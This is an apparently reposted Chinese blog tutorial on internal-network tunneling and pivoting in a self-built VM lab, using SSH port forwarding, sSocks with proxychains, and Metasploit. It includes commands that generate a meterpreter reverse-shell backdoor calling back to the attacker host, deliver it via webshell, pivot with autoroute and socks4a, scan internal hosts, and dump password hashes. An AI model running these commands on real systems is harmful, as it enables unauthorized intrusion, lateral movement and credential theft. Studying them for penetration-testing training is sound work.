当前位置:   article > 正文

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_ssh隧道和sock5隧道对比

ssh隧道和sock5隧道对比

环境搭建

image-20211126135623062

分别是三个虚拟机(我这里用的两个ubuntu,一个kali)

因为web服务器有两个ip所以需要添加一个网卡,然后设置LAN区段

注:一开始lan区段是空的,手动添加一个就行

image-20211126140254347

数据库服务器同样将网卡模式设置为LAN网段

分别进入web服务器虚拟机和数据库服务器虚拟机,将IPV4设置为手动

image-20211126141020501

手动设置IP地址,子网掩码,网关为LAN网段,设置完毕后,ifconfig查看,如果没有改变,手动断开网络连接重连

ifconfig效果:

web服务器:

image-20211126141257846

数据库服务器:

image-20211126141238619

kali

image-20211126141320237
注:之后的实验均采用此拓扑结构(IP稍有不同)
所有图中正确的网关为:192.168.179.2

SSH隧道

image-20211126111630949

这是整个网络的拓扑(web服务器已经被拿下),分析下可以得知

  • 内网WEB服务器有公私网双IP
  • 攻击者和web服务器处于同一网络(192),可以联通,攻击者(192段)和数据库服务器不可以联通(10段)
  • web服务器和数据库服务器可以联通(10段)

所以现在的目的就是通过web服务器建立隧道,使攻击者可以联通数据库服务器

正向连接

远程侦听端口,访问转发到本机主机指定端口。在web服务器上执行ssh命令

ssh –CNfL 0.0.0.0:7777:10.10.10.128:80 web@127.0.0.1
# 命令解析:
ssh –CNfL <listen ip> <listen posrt> :<remote ip>:<remote port> WebServerUser(跳板机用户)@<ssh server> -p <ssh server port>
-C 压缩传输
-f 将SSH传输转入后台执行
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

运行命令,输入跳板机的ssh登陆密码,就可以了

image-20211126105444554

映射成功后,攻击者使用浏览器访问web服务器(192.168.0.144)的7777端口,访问结果就是数据服务器的80端口的内容

反向隧道

1.web服务器执行以下命令:
ssh –qTfnN –R 2222:127.0.0.1:22  root@192.168.0.115
# 命令解析:
ssh -qTfnN -R port:host:hostport  remoteuser@remote_ip
将本地22端口映射到攻击者的2222端口,执行之后需要输入remoteuser的密码

2.攻击者执行以下命令:
(注意要开启ssh服务,开启后执行以下操作)
ssh –p 2222 web@127.0.0.1
# 命令解析:
连接端口
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

image-20211126110732796

反向隧道类似于反弹shell,将web服务器的ssh端口映射,对于Windows服务器可以映射3389端口(RDP)

ssh -CfNg -R 11111:192.168.160.139:3389 root@192.168.160.140
  • 1

kali上通过rdesktop连接本地的11111端口

rdesktop 127.0.0.1:11111
  • 1

sockets代理

ssh -D '[::]:1080' JumpHost
  • 1
SSH -qTfnN -D port remotehost
  • 1

两种方法都没有成功

MSF端口映射

使用msf来完成正向连接和反向连接,原理都是一样的,拓扑还是之前的,不过这次web服务器是一个winserver

首先去拿shell

使用msf生成后门

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.0.115  lport=12345 -f exe >/var/www/html/ss.exe
  • 1

kali监听对应端口

use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit
  • 1
  • 2
  • 3
  • 4
  • 5

端口映射

在winserver执行exe文件后拿到shell,在meterpreter中执行命令映射端口

portfwd add -L 192.168.0.115 -l 2020 -r 10.10.10.128 -p 80 

-L localhost
-l localport
-r remote ip
-p remote port
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

image-20211126124953720

直接将数据库服务器的80端口映射到了kali的2020端口,直接浏览器访问 http://192.168.0.115:2020 端口即可

转发端口

# meterpreter
portfwd add -l 5555 -p 3389 -r 192.168.0.144
-l localport
-r remote ip
-p remote port

rdesktop 127.1.1.0:5555
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

image-20211126125834224

其他命令

查看列表

portfwd list
  • 1

清空列表

portfwd flush
  • 1

Socket隧道

拓扑

image-20211126135623062

ssocks

sSocks是一个socks代理工具套装,可用来开启socks代理服务

下载连接:http://sourceforge.net/projects/ssocks

web服务器和kali都需要安装这款工具才能使用

下载之后进行编译,可以选择先下载到kali编译之后上传到web服务器,也可以直接在web服务器下载编译

./configure && make
  • 1

image-20211126143548825

src目录中存放了编译好的文件

image-20211126143706129

反向代理

将远程计算机作为socks代理服务端,反弹回本地,方便内网的渗透测试

1.建立隧道

kali端:

./rcsocks -l 1088 -p 1080 -vv

-vv 获取详细信息
等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道,将本地的1088端口的流量转发到1080端口
  • 1
  • 2
  • 3
  • 4

image-20211126145248593

web服务器端:

./rssocks -vv -s 192.168.179.128:1080
#接收192.168.179.128:1080端口的流量
  • 1
  • 2

输入命令后通道就建立完毕了

2.开启代理

proxychains代理链是Linux下一款代理设置工具,kali中默认安装,ubuntu需要使用命令apt-get install proxychains安装

kali端修改配置文件:

/etc/proxychains.conf
  • 1

注释socks4添加socks5(注意是socks5下图有误)

image-20211126145926459

测试

proxychains ssh 127.0.0.1
  • 1

输入密码连接后,成功连接ssh,查看本机ip

image-20211126152824274

image-20211126152726640

使用firefox

proxychains firefox 10.0.0.2
  • 1

image-20211126153020846

我这边是经过了多次测试才成功,可以先试一下ssh再curl,由于Ssocks不稳定,所以不建议使用

image-20211126155235382

正向代理

web服务器如下命令创建代理并监听192.168.179.147(自己的IP)

./ssocksd --bind 192.168.179.147 --port 6020
  • 1

在攻击主机编辑proxychains代理配置文件,添加代理配置信息:socks5 192.168.179.147 6020

vi /etc/proxychains.conf
  • 1

执行如下命令,连接内网服务器,查看ip得知代理成功。

1proxychains ssh 127.0.0.1
  • 1
扫描内网

用kali里边的nmap扫描

proxychains nmap -Pn -sT 10.0.0.2
  • 1

image-20211126162949849

MSF跨路由扫描

image-20211126164209673

在Kali生成后门文件

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.179.128  lport=12345 -f exe >/var/www/html/s.exe
  • 1

生成完毕,通过webshell将文件上传至win服务器

kali进入msf,开启监听

use exploit/multi/handler
set payload  windows/meterpreter/reverse_tcp
set lhost 192.168.179.128
set lport 12345
exploit
  • 1
  • 2
  • 3
  • 4
  • 5

等win服务器那边点击了exe文件,这边就上线了

image-20211126170211041

简单收集信息
  • 查看当前用户

    getuid
    
    • 1

    image-20211126170548082

  • 查看网卡信息

    ifconfig
    
    • 1

    image-20211126170618252

  • 查看路由信息

    run get_local_subnets
    
    • 1

    image-20211126170717971

    run autoroute -p
    
    • 1

    image-20211126180404329

    发现没有路由,接下来使用命令添加路由

增加路由
run autoroute -s 10.0.0.0/24
run autoroute -p
  • 1
  • 2

image-20211126180445161

这样的话就添加了一条路由,但是仅这样是不行的,还有添加代理

background 之后使用 socks4a 模块

use auxiliary/server/socks4a
set SRVPORT 10044
  • 1
  • 2

image-20211126182146208

修改配置文件

vi /etc/prxoychains.conf
  • 1

注释掉原来的,添加一条新的

socks4 192.168.179.128 10044
  • 1

image-20211126182913984

这样的话路由就添加完成了

可以使用nmap对10.0.0.2进行端口扫描

proxychains nmap -sT -Pn 10.0.0.2
  • 1

image-20211126183042151

也可以用hydra进行密码爆破

MSF其他模块
  • metasploit的主机发现模块

    use auxiliary/scanner/discover/arp_sweep

  • hash收集

    run hashdump

推荐阅读

内网渗透基石篇-- 隐藏通信隧道技术(上)

内网渗透基石篇–隐藏通信隧道技术(下)

内网渗透篇:ssocks+proxychains搭建代理

SSH隧道:内网穿透实战

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/代码探险家/article/detail/949153
推荐阅读
相关标签
  

闽ICP备14008679号